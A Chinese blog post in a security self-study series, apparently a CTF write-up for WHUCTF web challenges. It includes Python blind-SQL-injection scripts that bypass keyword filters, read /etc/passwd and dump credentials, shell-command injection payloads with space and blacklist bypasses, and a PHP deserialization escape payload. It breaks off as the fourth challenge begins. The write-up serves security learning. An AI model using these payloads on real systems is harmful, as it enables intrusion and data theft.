[网络安全自学篇] 八十.WHUCTF之WEB类解题思路WP(代码审计、文件包含、过滤绕过、SQL注入)

这是作者网络安全自学教程系列,主要是关于安全工具和实践操作的在线笔记,特分享出来与博友们学习,希望您喜欢,一起进步。前文分享了Windows PE病毒, 包括PE病毒原理、分类及感染方式详解,并通过案例进行介绍。这篇文章将介绍WHUCTF部分题目,第一次参加CTF,还是能学到很多东西。下面分享四个我完成的WEB类型题目的解题过程,希望对您有所帮助。本来感觉能做出6道题目,但有两道题卡在某个点,后面几天忙于其他事情,就没再参加。人生路上,要珍惜好每一天与家人陪伴的日子。感谢武汉大学,感谢网安学院,感谢这些大佬和师傅们(尤其出题和解题的老师们)~

在这里插入图片描述

作者作为网络安全的小白,分享一些自学基础教程给大家,主要是关于安全工具和实践操作的在线笔记,希望您们喜欢。同时,更希望您能与我一起操作和进步,后续将深入学习网络安全和系统安全知识并分享相关实验。总之,希望该系列文章对博友有所帮助,写文不易,大神们不喜勿喷,谢谢!如果文章对您有帮助,将是我创作的最大动力,点赞、评论、私聊均可,一起加油喔~

PS:本文参考了《软件安全》视频、安全网站和参考文献中的文章(详见参考文献),并结合自己的经验和实践进行撰写,也推荐大家阅读参考文献。

作者的github资源:
软件安全:https://github.com/eastmountyxz/Software-Security-Course
其他工具:https://github.com/eastmountyxz/NetworkSecuritySelf-study
XSS案例:https://github.com/eastmountyxz/XSS-Experiment


声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。

前文学习:
[网络安全自学篇] 一.入门笔记之看雪Web安全学习及异或解密示例
[网络安全自学篇] 二.Chrome浏览器保留密码功能渗透解析及登录加密入门笔记
[网络安全自学篇] 三.Burp Suite工具安装配置、Proxy基础用法及暴库示例
[网络安全自学篇] 四.实验吧CTF实战之WEB渗透和隐写术解密
[网络安全自学篇] 五.IDA Pro反汇编工具初识及逆向工程解密实战
[网络安全自学篇] 六.OllyDbg动态分析工具基础用法及Crakeme逆向
[网络安全自学篇] 七.快手视频下载之Chrome浏览器Network分析及Python爬虫探讨
[网络安全自学篇] 八.Web漏洞及端口扫描之Nmap、ThreatScan和DirBuster工具
[网络安全自学篇] 九.社会工程学之基础概念、IP获取、IP物理定位、文件属性
[网络安全自学篇] 十.论文之基于机器学习算法的主机恶意代码
[网络安全自学篇] 十一.虚拟机VMware+Kali安装入门及Sqlmap基本用法
[网络安全自学篇] 十二.Wireshark安装入门及抓取网站用户名密码(一)
[网络安全自学篇] 十三.Wireshark抓包原理(ARP劫持、MAC泛洪)及数据流追踪和图像抓取(二)
[网络安全自学篇] 十四.Python攻防之基础常识、正则表达式、Web编程和套接字通信(一)
[网络安全自学篇] 十五.Python攻防之多线程、C段扫描和数据库编程(二)
[网络安全自学篇] 十六.Python攻防之弱口令、自定义字典生成及网站暴库防护
[网络安全自学篇] 十七.Python攻防之构建Web目录扫描器及ip代理池(四)
[网络安全自学篇] 十八.XSS跨站脚本攻击原理及代码攻防演示(一)
[网络安全自学篇] 十九.Powershell基础入门及常见用法(一)
[网络安全自学篇] 二十.Powershell基础入门及常见用法(二)
[网络安全自学篇] 二十一.GeekPwn极客大赛之安全攻防技术总结及ShowTime
[网络安全自学篇] 二十二.Web渗透之网站信息、域名信息、端口信息、敏感信息及指纹信息收集
[网络安全自学篇] 二十三.基于机器学习的恶意请求识别及安全领域中的机器学习
[网络安全自学篇] 二十四.基于机器学习的恶意代码识别及人工智能中的恶意代码检测
[网络安全自学篇] 二十五.Web安全学习路线及木马、病毒和防御初探
[网络安全自学篇] 二十六.Shodan搜索引擎详解及Python命令行调用
[网络安全自学篇] 二十七.Sqlmap基础用法、CTF实战及请求参数设置(一)
[网络安全自学篇] 二十八.文件上传漏洞和Caidao入门及防御原理(一)
[网络安全自学篇] 二十九.文件上传漏洞和IIS6.0解析漏洞及防御原理(二)
[网络安全自学篇] 三十.文件上传漏洞、编辑器漏洞和IIS高版本漏洞及防御(三)
[网络安全自学篇] 三十一.文件上传漏洞之Upload-labs靶场及CTF题目01-10(四)
[网络安全自学篇] 三十二.文件上传漏洞之Upload-labs靶场及CTF题目11-20(五)
[网络安全自学篇] 三十三.文件上传漏洞之绕狗一句话原理和绕过安全狗(六)
[网络安全自学篇] 三十四.Windows系统漏洞之5次Shift漏洞启动计算机
[网络安全自学篇] 三十五.恶意代码攻击溯源及恶意样本分析
[网络安全自学篇] 三十六.WinRAR漏洞复现(CVE-2018-20250)及恶意软件自启动劫持
[网络安全自学篇] 三十七.Web渗透提高班之hack the box在线靶场注册及入门知识(一)
[网络安全自学篇] 三十八.hack the box渗透之BurpSuite和Hydra密码爆破及Python加密Post请求(二)
[网络安全自学篇] 三十九.hack the box渗透之DirBuster扫描路径及Sqlmap高级注入用法(三)
[网络安全自学篇] 四十.phpMyAdmin 4.8.1后台文件包含漏洞复现及详解(CVE-2018-12613)
[网络安全自学篇] 四十一.中间人攻击和ARP欺骗原理详解及漏洞还原
[网络安全自学篇] 四十二.DNS欺骗和钓鱼网站原理详解及漏洞还原
[网络安全自学篇] 四十三.木马原理详解、远程服务器IPC$漏洞及木马植入实验
[网络安全自学篇] 四十四.Windows远程桌面服务漏洞(CVE-2019-0708)复现及详解
[网络安全自学篇] 四十五.病毒详解及批处理病毒制作(自启动、修改密码、定时关机、蓝屏、进程关闭)
[网络安全自学篇] 四十六.微软证书漏洞CVE-2020-0601 (上)Windows验证机制及可执行文件签名复现
[网络安全自学篇] 四十七.微软证书漏洞CVE-2020-0601 (下)Windows证书签名及HTTPS网站劫持
[网络安全自学篇] 四十八.Cracer第八期——(1)安全术语、Web渗透流程、Windows基础、注册表及黑客常用DOS命令
[网络安全自学篇] 四十九.Procmon软件基本用法及文件进程、注册表查看
[网络安全自学篇] 五十.虚拟机基础之安装XP系统、文件共享、网络快照设置及Wireshark抓取BBS密码
[网络安全自学篇] 五十一.恶意样本分析及HGZ木马控制目标服务器
[网络安全自学篇] 五十二.Windows漏洞利用之栈溢出原理和栈保护GS机制
[网络安全自学篇] 五十三.Windows漏洞利用之Metasploit实现栈溢出攻击及反弹shell
[网络安全自学篇] 五十四.Windows漏洞利用之基于SEH异常处理机制的栈溢出攻击及shell提取
[网络安全自学篇] 五十五.Windows漏洞利用之构建ROP链绕过DEP并获取Shell
[网络安全自学篇] 五十六.i春秋老师分享小白渗透之路及Web渗透技术总结
[网络安全自学篇] 五十七.PE文件逆向之什么是数字签名及Signtool签名工具详解(一)
[网络安全自学篇] 五十八.Windows漏洞利用之再看CVE-2019-0708及Metasploit反弹shell
[网络安全自学篇] 五十九.Windows漏洞利用之MS08-067远程代码执行漏洞复现及shell深度提权
[网络安全自学篇] 六十.Cracer第八期——(2)五万字总结Linux基础知识和常用渗透命令
[网络安全自学篇] 六十一.PE文件逆向之数字签名详细解析及Signcode、PEView、010Editor、Asn1View等工具用法(二)
[网络安全自学篇] 六十二.PE文件逆向之PE文件解析、PE编辑工具使用和PE结构修改(三)
[网络安全自学篇] 六十三.hack the box渗透之OpenAdmin题目及蚁剑管理员提权(四)
[网络安全自学篇] 六十四.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)复现及详解
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例(一)
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用(二)
[网络安全自学篇] 六十七.WannaCry勒索病毒复现及分析(一)Python利用永恒之蓝及Win7勒索加密
[网络安全自学篇] 六十八.WannaCry勒索病毒复现及分析(二)MS17-010利用及病毒解析
[网络安全自学篇] 六十九.宏病毒之入门基础、防御措施、自发邮件及APT28样本分析
[网络安全自学篇] 七十.WannaCry勒索病毒复现及分析(三)蠕虫传播机制分析及IDA和OD逆向
[网络安全自学篇] 七十一.深信服分享之外部威胁防护和勒索病毒对抗
[网络安全自学篇] 七十二.逆向分析之OllyDbg动态调试工具(一)基础入门及TraceMe案例分析
[网络安全自学篇] 七十三.WannaCry勒索病毒复现及分析(四)蠕虫传播机制全网源码详细解读
[网络安全自学篇] 七十四.APT攻击检测溯源与常见APT组织的攻击案例
[网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell(三)
[网络安全自学篇] 七十六.逆向分析之OllyDbg动态调试工具(二)INT3断点、反调试、硬件断点与内存断点
[网络安全自学篇] 七十七.恶意代码与APT攻击中的武器(强推Seak老师)
[网络安全自学篇] 七十八.XSS跨站脚本攻击案例分享及总结(二)
[网络安全自学篇] 七十九.Windows PE病毒原理、分类及感染方式详解


前文欣赏:
[渗透&攻防] 一.从数据库原理学习网络攻防及防止SQL注入
[渗透&攻防] 二.SQL MAP工具从零解读数据库及基础用法
[渗透&攻防] 三.数据库之差异备份及Caidao利器
[渗透&攻防] 四.详解MySQL数据库攻防及Fiddler神器分析数据包



一.Easy_sqli

1.题目描述

网址: http://218.197.154.9:10011/login.php
考点: SQL注入

在这里插入图片描述

主界面显示如下图所示:

在这里插入图片描述

核心代码如下,采用POST提交请求。

<!DOCTYPE html>
<!-- saved from url=(0036)http://218.197.154.9:10011/login.php -->
<html lang="en"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	<meta name="viewport" content="width=device-width, initial-scale=1.0">
	<meta http-equiv="X-UA-Compatible" content="ie=edge">
	<title>Login</title>
	<link rel="stylesheet" href="./Login_files/login.css">
	<link rel="stylesheet" href="./Login_files/font-awesome.css">
</head>
<body>
	<div id="login-box">
		<h1>Sign Up</h1>
		<div class="form">
			<form action="http://218.197.154.9:10011/login.php#" onsubmit="return check(this)" method="post" accept-charset="utf-8">
				<div class="item">
					<i class="fa fa-user-circle" aria-hidden="true"></i>
					<input type="text" name="user" placeholder="Username">
				</div>
				<div class="item">
					<i class="fa fa-key" aria-hidden="true"></i>
					<input type="text" name="pass" placeholder="Password">
				</div>
				<button type="submit">Login</button>
			</form>
		</div>
	</div>
	<div>
		<script type="text/javascript">
			function check(form) {
				if(form.user.value == "") {
					alert("Username could not be empty!");
					form.user.focus();
					return false;
				}
				if(form.pass.value == "") {
					alert("Password could not be empty!");
					form.pass.focus();
					return false;
				}
				return true;
			}
		</script>
	</div>

</body></html>


2.解题思路

(1) 首先,该题仅一个登陆页面,首先想到的是万能密码登录,比如admin、‘or’=‘or’ 等。
当我们输入admin提示登录失败,并且反馈SQL语句。

Your sql statement is: SELECT password FROM users WHERE username='admin' AND password='admin'

在这里插入图片描述

在这里插入图片描述

当我们输入 ‘or’=’ 提示登录成功,但没有跳转下一个界面而直接返回登录界面,同时返回的SQL语句看到or被屏蔽了。此时,可能部分同学会疑惑明明登录成功,怎么没返回flag呢?这里并没有成功了。

Your sql statement is: SELECT password FROM users WHERE username=''''='' AND password=''''=''

在这里插入图片描述

在这里插入图片描述

同时,尝试用户名和密码拼接绕过也没成功。

'or'=' union SELECT 1,database()
'or'='/**/union/**/select/**/1,database()
'oorr'=' union seselectlect 1,database()

这里推荐两篇常规的SQL注入文章:



(2) 作者遇到网站都喜欢扫描目录和端口,但这里也没有好的信息。同时,采用SQLMAP扫描也没有什么成功,如下图所示。

  • dirb http://218.197.154.9:10011/ /usr/share/dirb/wordlists/small.txt
  • sqlmap -u “http://218.197.154.9:10011/img/?C=D;O=A” --dbs

在这里插入图片描述

在这里插入图片描述



(3) 当SQLMAP等工具不能使用时,我们需要通过手工找到注入点或进行注入,这里补充一种非常使用的方法,通过Python发送数据包来反弹数据库、表、字段和用户名及密码。

  • ① 获取数据库名称
import requests,urllib
import math
from urllib.parse import quote_plus

#代理配置
proxies = {
 'http': 'http://127.0.0.1:8888',
 'https': 'http://127.0.0.1:8888'
}
proxies = None

#设置消息头
reqHeaders = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en,en-US;q=0.8,zh-CN;q=0.5,zh;q=0.3',
    'Accept-Encoding': 'gzip, deflate, br'
}

postHeaders = reqHeaders.copy()
postHeaders['Referer'] = 'http://218.197.154.9:10011/login.php'
postHeaders['Content-Type'] = 'application/x-www-form-urlencoded'

#定义网址
url = 'http://218.197.154.9:10011/login.php'

"""发送POST数据"""
#数据库名
postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')
print(postStr)

#设置请求
reqSess = requests.session()
#reqSess.cookies.set('JSESSIONID','87B415C3E689651FF292DA16B32AB3EF')

#Current Bit & Max Bits
cb, mb = 1,4096

#采用二分查重匹配字符串
stillLeft = True
while cb < mb and stillLeft:
    #ascii of start,middle and end
    s,m,e = 0,0,255

    while s < e:
        sqliStr = postStr.format(cb,m)
        print(sqliStr)
        
        postHeaders['Content-Length']= str(len(postStr))
        #print(postHeaders)

        currentFailedTimes,maxFailedTimes = 0,10
        while currentFailedTimes < maxFailedTimes:
            try:
                rst = reqSess.post(url,sqliStr,headers=postHeaders,
                                   proxies=proxies,allow_redirects=False,verify=False)
                break
            except Exception as ex:
                if currentFailedTimes > 5:
                    print('[X]Failed Times:%d'%(currentFailedTimes))
                currentFailedTimes += 1
                if currentFailedTimes == maxFailedTimes:
                    exit("Too Much Errors,Going To Stop")
        #result is true
        if 'Login success' in rst.text:
            #print("[v]{}:{}->{}->{}".format(cb,s,m,e))
            if e - 1 == m:
                m = e
                break
            s = m
        else:
            #print("[x]{}:{}->{}->{}".format(cb,s,m,e))
            #even > 0 is error,no bits left
            if m == 0:
                stillLeft = False
                break
            if e - 1 == m:
                break
            e = m
        m = s + math.ceil((e - s)/2)
    if not m == 0:
        print(chr(m),end='\n')
    cb += 1

输出结果如下图所示,通过二分查找获取数据库database()第一位是e,最终获取数据库名称。核心代码如下:

postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')

对应的SQL语句为:

SELECT password FROM users WHERE username=‘aa’ or substr(database(),1,1)>64 –’ AND password=’’

在这里插入图片描述

简单修改代码,把中间输出的值注释掉,并输出的字符串拼接在一起,最终输出结果如下图所示,数据库为easy_sql1。

  • #print(sqliStr)
  • print(chr(m),end=’’)

在这里插入图片描述


  • ② 获取系统密码信息
postStr = """user=aa'or+ascii(substr(load_file('/etc/passwd'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct')

输出结果如下:

在这里插入图片描述

  • ③ 获取数据库表名信息
    注意这里是子查询,group_concat()函数将表名连接在一行,采用逗号分隔。
postStr = """user=aa'or+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

输出结果如下,包括f1ag_y0u_wi1l_n3ver_kn0w、users。

在这里插入图片描述

  • ④ 获取用户名和密码
    本题主要是获取f1ag表中的字段和值,而真实的网站中通常需要获取用户表的信息。
postStr = """user=aa'or+ascii(substr((select group_concat(username,0x2b,password) from users),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

输出结果如下,这些用户名和密码均能登录,但登录成功后仍会返回界面。

在这里插入图片描述

  • ⑤ 获取f1ag表字段
postStr = """user=aa'or+ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_y0u_wi1l_n3ver_kn0w'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

输出结果如下,字段为f111114g。

在这里插入图片描述

  • ⑥ 获取f1ag字段对应的值
postStr = """user=aa'or+ascii(substr((select group_concat(f111114g) from f1ag_y0u_wi1l_n3ver_kn0w),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')

输出结果如下,并获取flag值。

在这里插入图片描述

题目+实战总结:

  • 本题考察SQL注入,传统的手工注入和SQLMAP有时会遇到拦截,我们可以尝试其他方法
  • 作者提供一种基于Python的自动化SQL注入方法,同时采用二分查找进行匹配及暴库,较为适用
  • 当我们拿到一个网站,首先需要尽可能地收集(端口、服务、目录),弱口令、万能密码测试,接下来想办法找漏洞点,不同系统版本会有不同的漏洞

完整代码:

import requests,urllib
import math
from urllib.parse import quote_plus

#代理配置
proxies = {
 'http': 'http://127.0.0.1:8888',
 'https': 'http://127.0.0.1:8888'
}
proxies = None

#设置消息头
reqHeaders = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 6.1; rv:52.0) Gecko/20100101 Firefox/52.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
    'Accept-Language': 'en,en-US;q=0.8,zh-CN;q=0.5,zh;q=0.3',
    'Accept-Encoding': 'gzip, deflate, br'
}

postHeaders = reqHeaders.copy()
postHeaders['Referer'] = 'http://218.197.154.9:10011/login.php'
postHeaders['Content-Type'] = 'application/x-www-form-urlencoded'

#定义网址
url = 'http://218.197.154.9:10011/login.php'

"""发送POST数据"""
#数据库名
postStr = """user=aa'or+ascii(substr(database(),{0},1))>{1}--+&pass=admin""".replace('or','oorr')

#系统密码
postStr = """user=aa'or+ascii(substr(load_file('/etc/passwd'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct')

#获取表名
postStr = """user=aa'or+ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#f1ag_y0u_wi1l_n3ver_kn0w,users

#用户名和密码
postStr = """user=aa'or+ascii(substr((select group_concat(username,0x2b,password) from users),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#Dumb+Dumb,Angelina+I-kill-you,Dummy+p@ssword,secure+crappy,stupid+stupidity

#获取f1ag字段
postStr = """user=aa'or+ascii(substr((select group_concat(column_name) from information_schema.columns where table_name='f1ag_y0u_wi1l_n3ver_kn0w'),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#f111114g

#获取对应值
postStr = """user=aa'or+ascii(substr((select group_concat(f111114g) from f1ag_y0u_wi1l_n3ver_kn0w),{0},1))>{1}--+&pass=admin""".replace('or','oorr').replace('select','seleselectct').replace('from','frofromm').replace('where','wherwheree')
#WHUCTF{r3lly_re11y_n0t_d1ffIcult_yet??~}

print(postStr)

#设置请求
reqSess = requests.session()
#reqSess.cookies.set('JSESSIONID','87B415C3E689651FF292DA16B32AB3EF')

#Current Bit & Max Bits
cb, mb = 1,4096

#采用二分查重匹配字符串
stillLeft = True
while cb < mb and stillLeft:
    #ascii of start,middle and end
    s,m,e = 0,0,255

    while s < e:
        sqliStr = postStr.format(cb,m)
        #print(sqliStr)
        
        postHeaders['Content-Length']= str(len(postStr))
        #print(postHeaders)

        currentFailedTimes,maxFailedTimes = 0,10
        while currentFailedTimes < maxFailedTimes:
            try:
                rst = reqSess.post(url,sqliStr,headers=postHeaders,
                                   proxies=proxies,allow_redirects=False,verify=False)
                break
            except Exception as ex:
                if currentFailedTimes > 5:
                    print('[X]Failed Times:%d'%(currentFailedTimes))
                currentFailedTimes += 1
                if currentFailedTimes == maxFailedTimes:
                    exit("Too Much Errors,Going To Stop")
        #result is true
        if 'Login success' in rst.text:
            #print("[v]{}:{}->{}->{}".format(cb,s,m,e))
            if e - 1 == m:
                m = e
                break
            s = m
        else:
            #print("[x]{}:{}->{}->{}".format(cb,s,m,e))
            #even > 0 is error,no bits left
            if m == 0:
                stillLeft = False
                break
            if e - 1 == m:
                break
            e = m
        m = s + math.ceil((e - s)/2)
    if not m == 0:
        print(chr(m),end='')
    cb += 1

最后补充武大CTF师傅的WP代码,推荐大家学习。

import requests
import string
res = requests.session()
url = 'http://218.197.154.9:10011/login.php'
flag = ''
for j in range(1,200):
    for i in string.printable: 
        # payload = "admin' and if(((substr((seselectlect database()),{},1))='{}'),1,2)=1#".format(j,i)
        # payload = "admin' and if((substring((seleselectct database()),{},1)='{}'),1,2)=1#".format(j,i)
        #  easy_sql1
        # payload = "admin' and if((substring((selselectect group_concat(table_name) frfromom infoorrmation_schema.tables whwhereere table_schema = database()),{},1)='{}'),1,2)=1#".format(j,i)
        #  f1ag_y0u_wi1l_n3ver
        # payload = "admin' and if((substring((selselectect group_concat(column_name) frfromom infoorrmation_schema.columns whwhereere table_name = 'f1ag_y0u_wi1l_n3ver_kn0w'),{},1)='{}'),1,2)=1#".format(j,i)
        # payload = "admin' and if((substring((seselectlect group_concat(f111114g) frofromm f1ag_y0u_wi1l_n3ver_kn0w),{},1)='{}'),1,2)=1#".format(j,i)
        # payload = "admin' and if(ascii(substring((seselectlect group_concat(f111114g) frofromm f1ag_y0u_wi1l_n3ver_kn0w),{},1))=ascii('{}'),1,2)=1#".format(j,i)
        data = {
            "user" : payload,
            "pass" : 1
        }
        content = res.post(url,data=data)
        result = content.text
        # print(result)
        #
        if 'success' in result:
            flag += i
            print(flag)
            break


二.ezcmd

1.题目描述

网址: http://218.197.154.9:10011/login.php
考点: CMD命令绕过

在这里插入图片描述

主界面显示如下图所示:

在这里插入图片描述

题目代码如下:

<?php
if(isset($_GET['ip'])){
  $ip = $_GET['ip'];
  if(preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{1f}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match)){
    echo preg_match("/\&|\/|\?|\*|\<|[\x{00}-\x{20}]|\>|\'|\"|\\|\(|\)|\[|\]|\{|\}/", $ip, $match);
    die("fxck your symbol!");
  } else if(preg_match("/ /", $ip)){
    die("no space!");
  } else if(preg_match("/.*f.*l.*a.*g.*/", $ip)){
    die("no flag");
  } else if(preg_match("/tac|rm|echo|cat|nl|less|more|tail|head/", $ip)){
    die("cat't read flag");
  }
  $a = shell_exec("ping -c 4 ".$ip); 
  echo "<pre>";
  print_r($a);
}
highlight_file(__FILE__);
?>


2.解题思路

看到这类题目,首先想到的是命令执行方法利用管道符或者分号,然后再层层绕过。该题目有三处限制:不能有空格、不能有flag字样,不能有cat等命令。

(1) 利用ip本地地址和ls命令查看目录下文件。

  • http://218.197.154.9:10016/?ip=127.0.0.1|ls

在这里插入图片描述

结果:我们看到了flag.php和index.php文件。


(2) 接着想办法利用cat命令读取flag.php内容。

  • http://218.197.154.9:10016/?ip=127.0.0.1|cat%20flag.php

在这里插入图片描述

结果:提示我们不能使用空格。同时 /tac|rm|echo|cat|nl|less|more|tail|head 读取指令被ban,需要想办法进行绕过。当提示空格被ban,我们可以利用下面的方法进行绕过。

  • $IFS
  • ${IFS}
  • $IFS$1 // $1 改成 $ 加其他数字貌似都行
  • <
  • <>
  • {cat,flag.php} //用逗号实现了空格功能
  • %20
  • %09

(3) 绕过空格利用cat读取flag文件。

  • http://218.197.154.9:10016/?ip=127.0.0.1|cat$IFS$1flag.php

注意:如果cat被禁用,我们需要使用tac反向输出命令,linux命令中可以加\,甚至可以ca\t /fl\ag。

在这里插入图片描述

结果:此时提示no flag。


(4) PHP源代码中发现一个变量a,想办法覆盖这个变量,下面代码相当于cat flag.php。

 http://218.197.154.9:10016/?ip=218.197.154.9;a=g;ca\t$IFS$1fla$a.php

在这里插入图片描述

此时输出结果如下:PING 127.0.0.1 (127.0.0.1): 56 data bytes,最终在注释部分看到flag值。

在这里插入图片描述

题目+实战总结:

  • 这类题型的命令执行方法是利用管道符或者分号层层绕过
  • 接着利用$IFS1绕过空格限制
  • 最后使用$a变量绕过黑名单,成功执行cat flag.php命令
?ip=218.197.154.9;a=g;ca\t$IFS$1fla$a.php

同时给出另两位师傅的绕过payload。

#方法1
?ip=127.0.0.1;a=g;ca$@t$IFS$1fla$a.php

#方法2
url='http://218.197.154.9:10016?ip=127.0.0.1;ls$IFS-l;b=c;n=a;m=t;o=g;p=a;q=l;r=f;s=i;$b$n$m$IFS$r$q$p$o.php'
r =requests.get(url)
print(r.text)

在这里插入图片描述


推荐及参考文章:



三.ezphp

1.题目描述

网址: http://218.197.154.9:10015/
考点: PHP代码审计

在这里插入图片描述

主界面显示如下图所示:

在这里插入图片描述

核心代码如下:

<?php
error_reporting(0);
highlight_file(__file__);
$string_1 = $_GET['str1'];
$string_2 = $_GET['str2'];

//1st
if($_GET['num'] !== '23333' && preg_match('/^23333$/', $_GET['num'])){
    echo '1st ok'."<br>";
}
else{
    die('会代码审计嘛23333');
}


//2nd
if(is_numeric($string_1)){
    $md5_1 = md5($string_1);
    $md5_2 = md5($string_2);

    if($md5_1 != $md5_2){
        $a = strtr($md5_1, 'pggnb', '12345');
        $b = strtr($md5_2, 'pggnb', '12345');
        if($a == $b){
            echo '2nd ok'."<br>";
        }
        else{
            die("can u give me the right str???");
        }
    } 
    else{
        die("no!!!!!!!!");
    }
}
else{
    die('is str1 numeric??????');
}

//3nd
function filter($string){
    return preg_replace('/x/', 'yy', $string);
}

$username = $_POST['username'];

$password = "aaaaa";
$user = array($username, $password);

$r = filter(serialize($user));
if(unserialize($r)[1] == "123456"){
    echo file_get_contents('flag.php');
}
会代码审计嘛23333


2.解题思路

本题建议大家本地搭建环境进行测试,这个题目分为三段绕过测试。

(1) 第一段绕过。
首先num值不等于23333,同时preg_match()函数匹配正则表达式,这里使用%0A做截断,通过换行绕过preg_match函数。

在这里插入图片描述

  • http://218.197.154.9:10015/?num=23333%0A

在这里插入图片描述


(2) 第二段绕过。
传入string_1和string_2并计算md5值,然后要求md5值不相等;再通过strtr()函数将“pggnb”替换成“12345”,替换后的两个值要求相等,这里通过PHP弱类型比较漏洞绕过。

PHP在处理哈希字符串时,会利用 != 或 == 来对哈希值进行比较,它把每一个以"0E"开头的哈希值都解释为0,如果两个不同的密码经过哈希以后,其哈希值都是以"0E"开头,那么PHP将会认为他们相同都是0。

在这里插入图片描述

解决方法参考52hertz和Ly-sec-l大佬的文章!
在PHP弱类型中,0e+数字类型使用==会被认为相等,故:

  • 可以让md5_1的值以0e开头,后面含有字母b,md5_2同样以0e开头,但只含有数字(纯数字),从而绕过md5_1 != md5_2。
  • 通过strtr()函数将b替换成5后,使得 $ a == $ b,最终绕过验证。

这里我们需要让str1经过md5后以0e开头,后面只包含pggnb中一个或多个的字母,其余是数字,这样一替换就都是0e造成PHP弱类型的绕过。下列的Python代码还是获取str1含有字母的md5加密值。

import hashlib
import re
import random
import requests

# 11230178
def md5():
	global dict_az
	dict_az = 'abcdefghijklmnopqrstuvwxyz'
	i = 0
	while True:
		result = ''
		result += str(i)
		i = i + 1
		hashed_s = hashlib.md5(result.encode('utf-8')).hexdigest()
		r = re.match('^0e[0-9pggnb]{30}', hashed_s)
		if r:
			print("[+] found! md5( {} ) ---> {}".format(result, hashed_s))
			exit(0)

		if i % 1000000 == 0:
			print("[+] current value: {}       {} iterations, continue...".format(result, str(i)))

md5()

运行结果为11230178,md5值为0e732639146814822596b49bb6939b97,替换后就为纯数字。

在这里插入图片描述

此时构造的Payload如下,成功绕过第二关。

  • http://localhost/0523.php?num=23333%0A&str1=11230178&str2=0e215962017
  • http://218.197.154.9:10015/?num=23333%0a&str1=11230178&str2=QNKCDZO

在这里插入图片描述


(3) 第三段绕过。
通过filter进行字符替换,unserialize进行反序列化处理。这里主要利用PHP反序列化中的字符逃逸。
在这里插入图片描述

PHP在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的。比如在一个正常的反序列化的代码输入 a:2:{i:0;s:6:“peri0d”;i:1;s:5:“aaaaa”;} 会得到如下结果,包含两个值。同时,如果换成 a:2:{i:0;s:6:“peri0d”;i:1;s:5:“aaaaa”;}i:1;s:5:“aaaaa”; 仍然是下面的结果。

<?php
  class Test{
	public $test;
  }

  $s1 = 'a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}';
  var_dump(unserialize($s1));
  echo '<br>';
  $s2 = 'a:2:{i:0;s:6:"peri0d";i:1;s:5:"aaaaa";}i:1;s:5:"aaaaa";';
  var_dump(unserialize($s2));
?>

在这里插入图片描述

这道题目的代码将x替换为yy,如果把username换成peri0dxxx ,其处理后的序列化结果为 a:2:{i:0;s:9:“peri0dyyyyyy”;i:1;s:5:“aaaaa”;} 。这个时候肯定会反序列化失败的,因为 s:9:“peri0dyyyyyy” 比以前多了 3 个字符,这就需要继续增加填充字符实现了密码的修改。

解决方法:
通过构造 a:2:{i:0;s:5:“admin”;i:1;s:6:“123456”;}";i:1;s:5:“aaaaa”;} 将字符串闭合并控制第二个元素为123456,但存在长度问题,故添加字符串为 admin";i:1;s:6:“123456”;},长度为20,因此我们构造20个x,xxxxxxxxxxxxxxxxxxxx";i:1;s:6:“123456”;},这样x就会被替换成yy,我们就多了20个位置,把我们的 payload 挤出去,就刚好可以闭合了。

在这里插入图片描述


最终Payload:

  • http://localhost/0523.php?num=23333%0A&str1=11230178&str2=0e215962017
  • username=xxxxxxxxxxxxxxxxxxxx";i:1;s:6:“123456”;}
import requests
from urllib.parse import quote_plus

url = "http://218.197.154.9:10015/?num=23333%0A&str1=11230178&str2=QNKCDZO"
data = {'username':'xxxxxxxxxxxxxxxxxxxx";i:1;s:6:"123456";}'}
res = requests.post(url=url,data=data)
print(res.text)
f = open("test0523.txt","w")
f.write(res.text)
f.close()

flag输出结果如下:

在这里插入图片描述

题目+实战总结:

  • 使用%0A做截断,通过换行绕过preg_match函数
  • 通过PHP弱类型比较漏洞绕过,在PHP弱类型中,0e+数字类型使用==会被认为相等
  • 最后利用PHP反序列化中的字符逃逸

推荐及参考文章:



四.ezinclude

1.题目描述

网址: http://218.197.154.9:10017/
